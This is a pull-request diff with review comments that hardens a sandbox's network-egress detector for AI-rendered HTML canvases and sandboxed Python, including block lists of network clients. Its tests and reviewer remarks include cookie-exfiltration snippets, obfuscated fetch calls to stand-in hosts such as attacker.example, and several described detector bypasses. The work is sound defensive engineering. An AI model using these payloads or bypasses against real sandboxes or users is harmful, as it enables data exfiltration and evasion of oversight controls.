Skip to content
Open
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
227 changes: 217 additions & 10 deletions studio/backend/core/inference/tools.py
Original file line number Diff line number Diff line change
Expand Up @@ -552,6 +552,10 @@ def _token_basename(tok: str) -> str:
re.IGNORECASE,
)

# Low-level clients bypass the sandbox host scanner, so sandboxed Python blocks
# them and auto mode asks before they can run.
_SANDBOX_BLOCKED_NETWORK_MODULES = frozenset({"httpcore", "boto3", "botocore"})

# Python: modules whose import alone signals side effects auto mode should ask
# about (process spawning, network, bulk file ops, low-level memory).
_AUTO_UNSAFE_PY_MODULES = frozenset(
Expand Down Expand Up @@ -605,6 +609,7 @@ def _token_basename(tok: str) -> str:
"venv",
}
)
_AUTO_UNSAFE_PY_MODULES |= _SANDBOX_BLOCKED_NETWORK_MODULES
# Attribute calls that mutate the filesystem / spawn processes (os.remove,
# Path.write_text, sock.connect, ...) regardless of how the module was bound.
_AUTO_UNSAFE_PY_ATTRS = frozenset(
Expand Down Expand Up @@ -2403,21 +2408,14 @@ def walk(value) -> bool:
r"@import|"
r"url\(\s*[\"']?\s*(?:https?:|/)|"
r"<script[^>]*\bsrc\s*=|"
r"\b(?:src|href|srcset)\s*=\s*[\"']?\s*(?:https?:|/)|"
r"\b(?:src|href|srcset|action|formaction|poster|data|ping)\s*="
r"\s*[\"']?\s*(?:https?:|/)|"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Scan every URL in ping attributes

When an anchor ping value starts with a bare relative URL, this pattern only checks the first token after = and misses later remote ping targets; e.g. <a ping='local https://evil/x'> remains auto-approved even though ping is a space-separated URL list and the browser will POST to the remote URL on click. Since this change adds ping to the network gate, the full attribute value needs to be scanned for any http(s): or root-relative entry rather than only the first URL.

Useful? React with 👍 / 👎.

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3 Badge Avoid matching plain data assignments

Because this regex runs over the whole HTML/JS string rather than only parsed attributes, adding data makes common static script state like <script>const data = '/tmp/file.json'</script> require approval even when nothing loads from the network. That regresses the static-canvas auto-run path for ordinary variables named data; constrain this branch to actual HTML attributes or otherwise avoid matching JavaScript assignments.

Useful? React with 👍 / 👎.

# Self-navigation sinks: location.assign/replace(...), window.open(...), and
# assigning a URL to (window.)location(.href). location.reload()/history.back
# do not navigate to a new URL, so they stay static.
r"\blocation\s*\.\s*(?:assign|replace)\s*\(|"
r"\bwindow\s*\.\s*open\s*\(|"
r"\b(?:window\s*\.\s*)?location(?:\s*\.\s*href)?\s*=\s*[\"'`]?\s*(?:https?:|/)|"
# Bracket-access obfuscation: window['fetch'](...), self["open"](...).
r"\[\s*[\"'](?:fetch|open|XMLHttpRequest|WebSocket|EventSource|importScripts|"
r"sendBeacon|serviceWorker)[\"']\s*\]|"
# Computed bracket key spliced at runtime on a global host object
# (window['fet'+'ch'](...)): a quoted fragment adjacent to a + inside the
# index. Anchored to a host object so a plain obj['a'+'b'] key stays safe.
r"\b(?:window|self|globalThis|top|parent|frames)\s*\[[^\]]*"
r"(?:[\"']\s*\+|\+\s*[\"'])[^\]]*\]|"
# Declarative meta-refresh navigation to a URL (order-tolerant); a bare
# content="30" self-reload has no url= and stays static.
r"<meta\b(?=[^>]*http-equiv\s*=\s*[\"']?\s*refresh)(?=[^>]*\burl\s*=)|"
Expand All @@ -2428,13 +2426,115 @@ def walk(value) -> bool:
# matching. Line // comments are left alone -- stripping them would eat the // in
# an https:// URL and hide a real load.
_JS_BLOCK_COMMENT_RE = re.compile(r"/\*.*?\*/", re.DOTALL)
_RENDER_HTML_GLOBAL_BRACKET_RE = re.compile(
r"\b(?:window|self|globalThis|top|parent|frames)\s*\[([^\]]*)\]",
re.IGNORECASE | re.DOTALL,
Comment on lines +2428 to +2432

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Match optional chaining before global bracket access

For canvases that optional-chain the global before a computed key, such as <script>window?.['fetch']('https://evil/x')</script>, this regex no longer sees the window[...] access because of the intervening ?., and the generic fetch( pattern does not match fetch'](. That means a networked canvas can still auto-run without approval; please allow the optional-chain token before the bracket for the global hosts scanned here.

Useful? React with 👍 / 👎.

Comment on lines +2428 to +2432

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Treat top-level this as a global bracket host

In a classic canvas <script>, top-level this is window, but the new host-object regex only matches named globals. Thus <script>this['fetch']('https://evil/x')</script> is now auto-approved because the direct fetch( pattern does not see the quoted property, although it issues the same network request. Please include this or retain the literal bracket-member detection for this case.

Useful? React with 👍 / 👎.

)
_RENDER_HTML_SET_ATTRIBUTE_RE = re.compile(
r"""\.\s*setAttribute\s*\(\s*
(?P<quote>["'`])
(?P<attr>src|href|srcset|action|formaction|poster|data|ping)
(?P=quote)\s*,\s*(?P<value>[^)]*)\)""",

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Include optional calls in setAttribute scanning

For canvases that use optional chaining, such as <script>img.setAttribute?.('src','https://evil/x')</script>, this pattern does not match because it requires setAttribute( immediately after optional whitespace. Since the generic URL regex does not flag a bare https:// string, that canvas remains auto-approved even though the browser still sets the network-loading attribute when setAttribute exists. Please allow the optional-call token (?.) in this sink check.

Useful? React with 👍 / 👎.

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Fold setAttribute names before approving canvases

When the attribute name is built from literal pieces, e.g. <script>img.setAttribute('s'+'rc','https://evil/x.png')</script>, this regex does not match because it requires a single quoted attribute token. The generic URL scanner does not flag a bare https:// string, so the canvas auto-runs even though the browser assigns a network-loading src. Please fold static attribute-name expressions before treating the call as safe.

Useful? React with 👍 / 👎.

re.IGNORECASE | re.DOTALL | re.VERBOSE,
)
_RENDER_HTML_NETWORK_MEMBERS = frozenset(
{
"fetch",
"open",
"xmlhttprequest",
"websocket",
"eventsource",
"importscripts",
"sendbeacon",
"serviceworker",
}
)


def _leading_js_string(expression: str) -> tuple[str, int] | None:
"""Return a leading JS string literal and its end offset."""
i = 0
while i < len(expression) and expression[i].isspace():
i += 1
if i >= len(expression) or expression[i] not in "\"'`":
return None
quote = expression[i]
i += 1
value: list[str] = []
while i < len(expression):
char = expression[i]
if char == "\\":
i += 1
if i >= len(expression):
return None
if expression[i] not in ("\\", '"', "'", "`"):
return None
value.append(expression[i])
i += 1
continue
if char == quote:
text = "".join(value)
if quote == "`" and "${" in text:
return None
return text, i + 1
value.append(char)
i += 1
return None


def _static_js_string(expression: str) -> str | None:
"""Fold a sequence of JS string literals joined with +."""
parts: list[str] = []
offset = 0
while True:
parsed = _leading_js_string(expression[offset:])
if parsed is None:
return None
value, end = parsed
parts.append(value)
offset += end
while offset < len(expression) and expression[offset].isspace():
offset += 1
if offset == len(expression):
return "".join(parts)
if expression[offset] != "+":
return None
offset += 1


def _render_html_computed_network_access(code: str) -> bool:
for match in _RENDER_HTML_GLOBAL_BRACKET_RE.finditer(code):
expression = match.group(1)
member = _static_js_string(expression)
if member is not None:
if member.lower() in _RENDER_HTML_NETWORK_MEMBERS:
return True
continue
leading = _leading_js_string(expression)
if leading is not None:
member, end = leading
if member.lower() in _RENDER_HTML_NETWORK_MEMBERS and expression[
end:
].lstrip().startswith("."):
return True
if not re.fullmatch(r"\s*\d+\s*", expression):
return True
Comment on lines +2685 to +2686

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Scan network members after frame indexes

When a canvas uses a child frame as the global, e.g. <iframe></iframe><script>frames[0]['fetch']('https://evil/x')</script>, this branch treats frames[0] as safe because the expression is numeric and the subsequent ['fetch'] no longer matches the host-object regex. An about:blank child frame is same-origin and exposes the same network APIs, so this can auto-run a networked canvas; please continue scanning chained bracket members after numeric frame indexes.

Useful? React with 👍 / 👎.


for match in _RENDER_HTML_SET_ATTRIBUTE_RE.finditer(code):
value = _static_js_string(match.group("value"))
if value is None:
return True
if value.lstrip().lower().startswith(("http:", "https:", "/")):

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Scan URL-list values passed to setAttribute

When a programmatic setAttribute writes a URL-list attribute whose first entry is local, this check approves because it only tests the start of the static value. For example, <script>img.setAttribute('srcset','local.png 1x, https://evil/x.png 2x')</script> can still load the remote candidate, and ping has the same space-separated URL-list shape. Please scan the full value for remote or root-relative entries for URL-list attributes.

Useful? React with 👍 / 👎.

return True
return False


def _render_html_reaches_network(arguments: dict) -> bool:
code = arguments.get("code")
if not isinstance(code, str):
return False
return bool(_RENDER_HTML_NETWORK_RE.search(_JS_BLOCK_COMMENT_RE.sub("", code)))
code = _JS_BLOCK_COMMENT_RE.sub("", code)
return bool(_RENDER_HTML_NETWORK_RE.search(code) or _render_html_computed_network_access(code))


# Tools that are read-only regardless of their arguments, so auto mode never has
Expand Down Expand Up @@ -5116,7 +5216,114 @@ def _hf_upload_violation(node: ast.Call, method_name: str) -> str | None:
return None

class NetworkAndIoVisitor(ast.NodeVisitor):
def __init__(self):
self.importlib_aliases = {"importlib"}
self.builtins_aliases = {"builtins", "__builtins__"}
self.import_loader_aliases = {"__import__"}
self.literal_strings: dict[str, str] = {}

def _block_low_level_network_module(self, module_name: str, node) -> None:
root = module_name.split(".", 1)[0]
if root not in _SANDBOX_BLOCKED_NETWORK_MODULES:
return
network_calls.append(
{
"type": "low_level_network_module_blocked",
"line": getattr(node, "lineno", -1),
"description": (
f"Blocked: low-level network module {root!r} is unavailable "
"in sandboxed code"
),
}
)

def _static_string(self, node) -> str | None:
if isinstance(node, ast.Constant) and isinstance(node.value, str):
return node.value
if isinstance(node, ast.Name):
return self.literal_strings.get(node.id)
if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Add):
left = self._static_string(node.left)
right = self._static_string(node.right)
if left is not None and right is not None:
return left + right
return None

def _is_import_loader(self, node) -> bool:
if isinstance(node, ast.Name):
return node.id in self.import_loader_aliases
if not isinstance(node, ast.Attribute) or not isinstance(node.value, ast.Name):
return False
if node.attr == "import_module":
return node.value.id in self.importlib_aliases
if node.attr == "__import__":
return node.value.id in self.builtins_aliases
return False
Comment on lines +5509 to +5532

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Resolve import loaders hidden behind dynamic lookup

When sandboxed Python obtains the loader with a dynamic lookup, this check never sees an import loader because node.func is an ast.Call/ast.Subscript rather than a Name or Attribute. For example, import importlib; boto3 = getattr(importlib, "import_module")("boto3"); boto3.client("s3").list_buckets() still bypasses the new low-level module block, and boto3.client is not covered by the host allowlist scanner, so arbitrary network access can run after approval. Please treat literal getattr/namespace lookups of import_module or __import__ as import loaders too.

Useful? React with 👍 / 👎.


@staticmethod
def _target_names(node) -> list[str]:
if isinstance(node, ast.Name):
return [node.id]
if isinstance(node, (ast.Tuple, ast.List)):
names: list[str] = []
for item in node.elts:
names.extend(NetworkAndIoVisitor._target_names(item))
return names
return []

def _bind_assignment(self, targets, value) -> None:
names: list[str] = []
for target in targets:
names.extend(self._target_names(target))
static_string = self._static_string(value)
for name in names:
if static_string is None:
self.literal_strings.pop(name, None)
else:
self.literal_strings[name] = static_string

if self._is_import_loader(value):
self.import_loader_aliases.update(names)
else:
self.import_loader_aliases.difference_update(names)
if isinstance(value, ast.Name) and value.id in self.importlib_aliases:
self.importlib_aliases.update(names)
if isinstance(value, ast.Name) and value.id in self.builtins_aliases:
self.builtins_aliases.update(names)

def visit_Import(self, node):
for alias in node.names:
self._block_low_level_network_module(alias.name, node)
Comment on lines +5565 to +5567

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Block dynamic imports of low-level clients

For snippets that dynamically import one of these clients, the sandbox check still returns safe because the new block only runs from visit_Import/visit_ImportFrom. For example, import importlib; boto3 = importlib.import_module('boto3'); boto3.client('s3').list_buckets() avoids the added import statement checks and boto3.client is not covered by _NETWORK_FQ_PREFIXES, so an installed low-level client can still make arbitrary network calls outside the host allowlist. Please also reject literal dynamic imports such as importlib.import_module(...) and __import__(...) for these module roots.

Useful? React with 👍 / 👎.

if alias.name == "importlib":
self.importlib_aliases.add(alias.asname or "importlib")
elif alias.name == "builtins":
self.builtins_aliases.add(alias.asname or "builtins")

def visit_ImportFrom(self, node):
if node.module:
self._block_low_level_network_module(node.module, node)
for alias in node.names:
bound = alias.asname or alias.name
if node.module == "importlib" and alias.name == "import_module":
self.import_loader_aliases.add(bound)
elif node.module == "builtins" and alias.name == "__import__":
self.import_loader_aliases.add(bound)

def visit_Assign(self, node):
self._bind_assignment(node.targets, node.value)
self.generic_visit(node)

def visit_AnnAssign(self, node):
if node.value is not None:
self._bind_assignment([node.target], node.value)
self.generic_visit(node)

def visit_Call(self, node):
if node.args and self._is_import_loader(node.func):
module_name = self._static_string(node.args[0])
if module_name is not None:
self._block_low_level_network_module(module_name, node)
Comment on lines 5592 to +5602

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Check keyword module names in dynamic imports

When the dynamic import loader is called with the name keyword, this block is skipped because it only inspects positional node.args. For example, import importlib; boto3 = importlib.import_module(name='boto3'); boto3.client('s3').list_buckets() is not rejected by the sandbox, and boto3.client is still outside _NETWORK_FQ_PREFIXES, so the low-level client can make arbitrary network calls after approval. Please inspect the literal name= keyword for these import loaders as well.

Useful? React with 👍 / 👎.


parts: list[str] = []
cur = node.func
while isinstance(cur, ast.Attribute):
Expand Down
55 changes: 55 additions & 0 deletions studio/backend/tests/test_permission_mode.py
Original file line number Diff line number Diff line change
Expand Up @@ -926,6 +926,9 @@ def test_terminal_classifier(command, unsafe):
"from huggingface_hub import snapshot_download\nsnapshot_download('r')",
True,
), # bare-imported repo snapshot download
("import httpcore\nhttpcore.request('GET', 'https://example.com')", True),
("import boto3\nboto3.client('s3').list_buckets()", True),
("from botocore.session import get_session\nget_session()", True),
("import statistics\nstatistics.mean([1, 2])", False), # benign stdlib import stays safe
# A concrete write callable handed to a user-defined helper that can
# invoke it bypasses the direct open()/writer site, so it asks.
Expand Down Expand Up @@ -984,6 +987,10 @@ def rh(code):
assert rh("<img srcset='https://evil/x.png 1x'>") is True
assert rh("<img src='/api/leak?d=1'>") is True # root-relative resolves to origin
assert rh("<link rel=stylesheet href='//cdn/x.css'>") is True # protocol-relative
assert rh("<form action='https://evil/x' method='post'></form>") is True
assert rh("<video poster='https://evil/x.png'></video>") is True
assert rh("<object data='https://evil/x'></object>") is True
assert rh("<a ping='https://evil/x'>link</a>") is True
# Self-navigation sinks exfiltrate by navigating the frame away.
assert rh("<script>location.href='https://x/?d='+document.cookie</script>") is True
assert rh("<script>location.assign('https://x')</script>") is True
Expand All @@ -995,11 +1002,59 @@ def rh(code):
# Obfuscated egress: a block comment splitting fetch(, or bracket access.
assert rh("<script>fetch/*x*/('https://example.com')</script>") is True
assert rh("<script>window['fetch']('https://example.com')</script>") is True
assert rh("<script>window[`fetch`]('https://example.com')</script>") is True
assert rh("<script>window['fetch'.replace('x','x')]('https://x')</script>") is True
assert rh("<script>window['fetch'+suffix]('https://x')</script>") is True
assert rh("<script>window[key]('https://x')</script>") is True
assert rh("<script>frames[0]</script>") is False
assert (
rh(
"<script>const i=document.createElement('img');"
"i.setAttribute('src','https://evil/x')</script>"
)
is True
)
# A computed bracket key spliced from string fragments on a global host object.
assert rh("<script>window['fet'+'ch']('https://attacker.example')</script>") is True
assert rh("<script>self['open' + '']('https://x')</script>") is True
# A computed key on a plain object (not a global host) stays a static canvas.
assert rh("<script>var o={}; o['a'+'b']=1</script>") is False
assert rh("<script>var o={}; o['fetch']=1</script>") is False
assert rh("<script>window['isFetching']=false</script>") is False
assert rh("<script>window['openState']=false</script>") is False
# Local and fragment setAttribute values do not leave the canvas.
assert (
rh(
"<script>const i=document.createElement('img');"
"i.setAttribute('src','./local.png')</script>"
)
is False
)
assert (
rh(
"<script>const a=document.createElement('a');"
"a.setAttribute('href','#section')</script>"
)
is False
)
assert (
rh(
"<script>const i=document.createElement('img');"
"i.setAttribute('src',``)</script>"
)
is False
)
assert (
rh(
"<script>const i=document.createElement('img');"
"i.setAttribute('src','/' + 'api/image')</script>"
)
is True
)
assert (
rh("<script>const i=document.createElement('img');i.setAttribute('src',source)</script>")
is True
)
assert rh("<script>/* just a note */ var x = 1</script>") is False # comment only
# A meta-refresh with a url navigates the frame to an external origin.
assert rh('<meta http-equiv="refresh" content="0;url=https://example.com">') is True
Expand Down
36 changes: 36 additions & 0 deletions studio/backend/tests/test_sandbox_tools.py
Original file line number Diff line number Diff line change
Expand Up @@ -121,6 +121,42 @@ def test_dynamic_url_not_statically_blocked(self):
_ok('import requests; url = "https://example.com/"; requests.get(url)')


class TestLowLevelNetworkModules:
@pytest.mark.parametrize(
"code",
[
'import httpcore; httpcore.request("GET", "https://example.com")',
'import boto3; boto3.client("s3").list_buckets()',
"from botocore.session import get_session; get_session()",
"m = __import__('boto3'); print(m.__name__)",
("import importlib as il; m = il.import_module('http' + 'core'); print(m.__name__)"),
(
"from importlib import import_module as load; "
"name = 'botocore.session'; print(load(name).__name__)"
),
(
"from builtins import __import__ as load; "
"loader = load; print(loader('boto3').__name__)"
),
],
)
def test_low_level_client_blocked(self, code):
_blocked(code, expect_phrase = "Blocked: low-level network module")

@pytest.mark.parametrize(
"code",
[
"m = __import__('statistics'); print(m.mean([1, 2]))",
(
"from importlib import import_module as load; "
"print(load('statistics').mean([1, 2]))"
),
],
)
def test_other_dynamic_imports_stay_available(self, code):
_ok(code)


class TestHostNormalization:
def test_trailing_dot_treated_same(self):
_ok('import requests; requests.get("https://wikipedia.org./")')
Expand Down
Loading